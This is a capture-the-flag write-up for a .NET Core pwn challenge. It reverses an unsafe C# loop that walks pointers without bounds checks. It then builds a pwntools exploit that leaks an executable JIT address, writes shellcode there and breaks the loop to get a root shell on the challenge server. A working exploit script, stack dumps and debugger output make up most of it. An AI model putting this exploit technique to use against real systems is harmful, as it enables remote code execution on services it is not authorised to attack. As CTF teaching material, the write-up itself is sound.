Points: 378 Solves: 6

core-pwn Category: Pwn
Difficulty: Easy/Medium
Author: 0x4d5a
First Blood: OpenToAll
Show all teams (6)

We heard the .NET framework is secure and stuff. Nothing can go wrong, it’s a memory safe language! Really. Nothing.

Built with dotnet publish –runtime ubuntu.18.04-x64 and executed in a docker container: FROM mcr.microsoft.com/dotnet/core/aspnet:2.1.12-bionic

nc hax.allesctf.net 1234

Attachment: core-pwn.zip myApp.runtimeconfig.json xpl.py

$ nc hax.allesctf.net 1234
Input:

Being a .NET core assembly, it was pretty easy to reverse:

using System;

namespace myApp
{
  internal class Program
  {
    private static void Main(string[] args)
    {
      Program.Loop();
      Console.WriteLine("I am here.");
    }

    private static unsafe void Loop()
    {      
      long* ptr = stackalloc long[256];
      long* ptr2 = stackalloc long[256];
      long* ptr3 = stackalloc long[256];
      
      *ptr2 = 1L;
      *ptr = ptr3;

      while (*ptr2 > 0UL)
      {
        Console.WriteLine("Input: ");

        switch (Console.ReadLine())
        {
          case "I":
            // Increase pointer
            ptr3++;
            break;
          case "R":
            // Reset pointer
            ptr3 = *ptr;            
            break;
          case "P":
            // Print value at pointer
            Console.WriteLine(*ptr3);
            break;
          case "W":            
            // Write value to pointer
            *ptr3 = Convert.ToInt64(Console.ReadLine(), 16);
            break;
        }
      }
    }
  }
}

So, what the Loop function basically does, is to allocate three buffers on the stack (nicely aligned) and provide us with 4 commands:

  • I : Increase ptr3
  • R : Reset ptr3 (to the value stored at the beginning of ptr)
  • P : Print the value ptr3 is currently pointing to
  • W : Read a value from the user in hex and write it to the address ptr3 is pointing to

Using the unsafe keyword for the Loop function, all of .NETs memory safety obviously goes to hell. Since it also has no boundary checking on the allocated buffers, we can easily “walk” outside of those buffers into the previous stack values.

The stack layout will be like this:

[ptr3]
[ptr2]    => loop variable (set to 1)
[ptr]     => pointer to initial ptr3 for reset
[stack]

While I was trying to setup the docker environment in the background, I played around with it locally and it turned out pretty quick, that we don’t even need the right environment to be able to exploit it.

To debug it locally, you’ll need a runtimeconfig (thanks to pusher for preparing that).

myApp.runtimeConfig.json

{
  "runtimeOptions": 
  {
    "tfm": "netcoreapp2.2",
    "framework": 
    {
      "name": "Microsoft.NETCore.App",
      "version": "2.2.0"
    }
  }
}

Basic script to communicate with the service:

#!/usr/bin/python
from pwn import *
import sys

HOST = "hax.allesctf.net"
PORT = 1234

def inc():
    r.sendline("I")
    r.recvuntil("Input: \n")

def reset():
    r.sendline("R")
    r.recvuntil("Input: \n")

def pr():
    r.sendline("P")
    LEAK = int(r.recvline()[:-1])
    r.recvuntil("Input: \n")
    return LEAK

def wr(value, dorec=True):
    r.sendline("W")
    r.sendline(hex(value))

    if dorec:
        r.recvuntil("Input: \n")

def dump_stack(count):
    for i in range(count):        
        LEAK = pr()
        inc()
        log.info("%d => %s" % (i, hex(LEAK)))

def exploit(r):
    r.recvuntil("Input: \n")
    
    dump_stack(200)

    r.interactive()
    
    return

if __name__ == "__main__":
    if len(sys.argv) > 1:
        r = remote(HOST, PORT)
        exploit(r)
    else:
        r = process(["dotnet-sdk.dotnet", "myApp.dll"])     
        print util.proc.pidof(r)
        pause()
        exploit(r)

With this, I started to dump the stack to get an idea of the layout, and from where we could possibly leak some addresses.

$ python xpl.py 
[+] Starting local process '/snap/bin/dotnet-sdk.dotnet': pid 30888
[30888]
[*] Paused (press any to continue)
[*] 0 => 0x0
[*] 1 => 0x0

[SNIP]

[*] 30 => 0x0
[*] 31 => 0x0
[*] 32 => 0x1                    // Loop variable
[*] 33 => 0x0
[*] 34 => 0x0

[SNIP]

[*] 62 => 0x0
[*] 63 => 0x0
[*] 64 => 0x7fffffffb980        // ptr (containing original ptr3)
[*] 65 => 0x0
[*] 66 => 0x0

[SNIP]

[*] 95 => 0x0
[*] 96 => 0x632f622f6c2f722f    // original stack
[*] 97 => 0x167612a
[*] 98 => 0x0
[*] 99 => 0x0
[*] 100 => 0x100000000
[*] 101 => 0x0
[*] 102 => 0x7fff58031ef8
[*] 103 => 0x100000000
[*] 104 => 0x7fff58031fe0
[*] 105 => 0x7fff58032058
[*] 106 => 0x0
[*] 107 => 0x7fff58032130
[*] 108 => 0x7fffffffbce0
[*] 109 => 0x7fffffffba80
[*] 110 => 0x7fffffffbb80
[*] 111 => 0x7fffffffb980
[*] 112 => 0x7fffffffbd20
[*] 113 => 0x7fff7cf21b58
[*] 114 => 0x7fffffffc018
[*] 115 => 0x7fff5801dec0
[*] 116 => 0x7fffffffbd40

[SNIP]

So, this looks already promising. Having not worked on .NET binaries by now, my first thought was “Let’s search a libc leak and build a ropchain”, but since the CLR doesn’t seem to rely much on libc, there were none near to our stack (found some way down the stack, but moving the pointer there mostly crashed the application).

As it turned out, though, being in an unsafe context, it’s way easier to exploit this successfully.

But first things first. We can now read values from the stack and also change them, but while we’re stuck in the loop, we cannot do anything useful with it. As you can see in the dumped data, the loop variable is stored at offset 32, so we can just move the stack pointer there, and overwrite it with a 0 which will end the loop and return.

Since it was too bothersome, to follow the execution of the CLR, but knowing, it would have to “return” at some point, I just wrote some invalid values to the stack to see where it breaks :)

So, the first time it will segfault at offset 109.

Thread 1 "dotnet" received signal SIGSEGV, Segmentation fault.
0x00007fff7cf21d85 in ?? ()
───────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x74              
$rbx   : 0x00007fffffffbea0  →  0x00007fffffffbe38  →  0x00007ffff6001366  →  <MethodDescCallSite::CallTargetWorker(unsigned+0> mov QWORD PTR [rbp-0xb8], rax
$rcx   : 0x00007fffffffb8f0  →  0x0000000000000004
$rdx   : 0x4               
$rsp   : 0x00007fffffffb980  →  0x0000000000000000
$rbp   : 0x00007fffffffbd00  →  0x00007fffffffbd20  →  0x00007fffffffbd40  →  0x00007fffffffbf10  →  0x00007fffffffc130  →  0x00007fffffffc3a0  →  0x00007fffffffc450  →  0x00007fffffffc4b0
$rsi   : 0xfffffffffffffff 
$rdi   : 0x6d              
$rip   : 0x00007fff7cf21d85  →  0x489000eb90388948
$r8    : 0x4               
$r9    : 0x4               
$r10   : 0xd               
$r11   : 0xd               
$r12   : 0x00007fffffffc0a0  →  0x00007fffffffc028  →  0x00007fff7c294420  →  0x00007ffff66341c0  →  0x00007ffff610a040  →  <Module::Initialize(AllocMemTracker*,+0> push rbp
$r13   : 0x0               
$r14   : 0x1               
$r15   : 0x00007fffffffc018  →  0x00007fff7c295818  →  0x0028000501000001
$eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7fff7cf21d79                  mov    QWORD PTR [rbp-0x30], rax
   0x7fff7cf21d7d                  mov    rax, QWORD PTR [rbp-0x20]
   0x7fff7cf21d81                  mov    rdi, QWORD PTR [rbp-0x30]
 → 0x7fff7cf21d85                  mov    QWORD PTR [rax], rdi
   0x7fff7cf21d88                  nop    
   0x7fff7cf21d89                  jmp    0x7fff7cf21d8b
   0x7fff7cf21d8b                  nop    
   0x7fff7cf21d8c                  mov    rdi, QWORD PTR [rbp-0x18]
   0x7fff7cf21d90                  xor    eax, eax
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffb980│+0x0000: 0x0000000000000000	 ← $rsp
0x00007fffffffb988│+0x0008: 0x0000000000000000
0x00007fffffffb990│+0x0010: 0x0000000000000000
0x00007fffffffb998│+0x0018: 0x0000000000000000
0x00007fffffffb9a0│+0x0020: 0x0000000000000000
0x00007fffffffb9a8│+0x0028: 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

This happens because at the previous offset (108) ptr3 itself is stored, and we just overwrote the pointer with 108. Let’s keep this in mind, might come in handy to be able to move ptr3 to an arbitrary address this way.

So we’ll ignore this index for now, and overwrite the following addresses, and break out of the loop by overwriting the loop variable with 0.

def breakloop():
	reset()
	for i in range(32):
		inc()

	wr(0, False)

def exploit(r):
    r.recvuntil("Input: \n")
    
    for i in range(111):
        inc()

    for i in range(20):
        wr(i+111)
        inc()

    breakloop()

    r.interactive()
    
    return
Thread 1 "dotnet" received signal SIGSEGV, Segmentation fault.
0x0000000000000071 in ?? ()
───────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x00007fffffffbea0  →  0x00007fffffffbe38  →  0x00007ffff6001366  →  <MethodDescCallSite::CallTargetWorker(unsigned+0> mov QWORD PTR [rbp-0xb8], rax
$rcx   : 0x00007fffffffb8f0  →  0x0000000000000003
$rdx   : 0x3               
$rsp   : 0x00007fffffffbd10  →  0x0000000000000072 ("r"?)
$rbp   : 0x70              
$rsi   : 0xfffffffffffffff 
$rdi   : 0x0               
$rip   : 0x71              
$r8    : 0x3               
$r9    : 0x3               
$r10   : 0x0               
$r11   : 0x0               
$r12   : 0x00007fffffffc0a0  →  0x00007fffffffc028  →  0x00007fff7c2b4420  →  0x00007ffff66341c0  →  0x00007ffff610a040  →  <Module::Initialize(AllocMemTracker*,+0> push rbp
$r13   : 0x0               
$r14   : 0x1               
$r15   : 0x00007fffffffc018  →  0x00007fff7c2b5818  →  0x0028000501000001
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffbd10│+0x0000: 0x0000000000000072 ("r"?)	 ← $rsp
0x00007fffffffbd18│+0x0008: 0x0000000000000073 ("s"?)
0x00007fffffffbd20│+0x0010: 0x0000000000000074 ("t"?)
0x00007fffffffbd28│+0x0018: 0x0000000000000075 ("u"?)
0x00007fffffffbd30│+0x0020: 0x0000000000000076 ("v"?)
0x00007fffffffbd38│+0x0028: 0x0000000000000077 ("w"?)
[!] Cannot access memory at address 0x71
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

By overwriting offset 113 we gain rip control. Still no useful leaks by now, so I just checked, where it would normally return to.

gef➤  xinfo 0x7fff7cf31b58
────────────────────────────────────────────────── xinfo: 0x7fff7cf31b58 ──────────────────────────────────────────────────
Page: 0x00007fff7cf30000  →  0x00007fff7cf34000 (size=0x4000)
Permissions: rwx
Pathname: 
Offset (from page): 0x1b58
Inode: 0

Didn’t really look further into it and just assumed that this might be some JIT region from the .NET CLR.

And the loop function will return there, as soon as we break the loop. Well, perfect…

As we previously saw, ptr3 is stored at offset 108. We can just point it anywhere by overwriting the address at that offset (btw, it’s not a good idea to overwrite the original address stored in ptr and then reset, to move ptr3, since you won’t be able to get back into the current buffer again to reset the loop).

So, the plan is:

  • Leak the value at offset 113 to the jit region
  • Reset ptr3 and walk back to offset 108 and overwrite it with the jit return address (ptr3 now pointing into jit region at return address)
  • Write shellcode to the jit region
  • Reset ptr3 and walk to offset 32 to overwrite the loop variable to break the loop
  • Enjoy shell
def move_ptr3(address):
    reset()
    for i in range(108):
        inc()

    wr(address)

def exploit(r):
    r.recvuntil("Input: \n")
    
    log.info("Move to address of jit return address")

    for i in range(113):
        inc()
    
    log.info("Read return address")

    LEAK = pr()                 # leak to rwx section
    log.info("RWX section       : %s" % hex(LEAK))
    
    log.info("Move ptr3 to jit region")
    move_ptr3(LEAK)

    log.info("Write shellcode to jit region")   
    payload = asm(shellcraft.amd64.sh(), arch="amd64")

    for i in range(0, len(payload), 8):
        wr(u64(payload[i:i+8]))
        inc()
    
    log.info("Break the loop to trigger shellcode")
    breakloop() 
    
    r.interactive()
    
    return
$ python xpl.py 1
[+] Opening connection to hax.allesctf.net on port 1234: Done
[*] Move to address of jit return address
[*] Read return address
[*] RWX section       : 0x7f776c5716b8
[*] Move ptr3 to jit region
[*] Write shellcode to jit region
[*] Break the loop to trigger shellcode
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat flag
ALLES{CLR_1s_s3cur3_but_n0t_w1th_uns4fe_c0de}